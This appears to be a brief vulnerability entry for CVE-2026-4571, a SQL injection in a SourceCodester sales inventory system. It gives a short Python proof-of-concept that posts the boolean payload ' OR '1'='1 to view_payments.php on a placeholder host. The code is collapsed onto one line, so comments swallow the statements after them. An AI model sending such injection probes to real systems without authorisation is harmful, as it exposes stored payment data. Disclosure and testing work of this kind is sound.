CVE-2026-4571 SourceCodester 销售库存系统 SQL注入漏洞

import requests # Target URL url = "http://target-ip/view_payments.php" # Payload to test SQL Injection # Using a basic boolean-based payload to check vulnerability payload = "' OR '1'='1" # Data to be sent in POST request data = { "searchtxt": payload } try: response = requests.post(url, data=data) # Check if the response indicates successful injection (e.g., returns all records) if response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected!") print("[+] Response snippet:", response.text[:200]) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", str(e))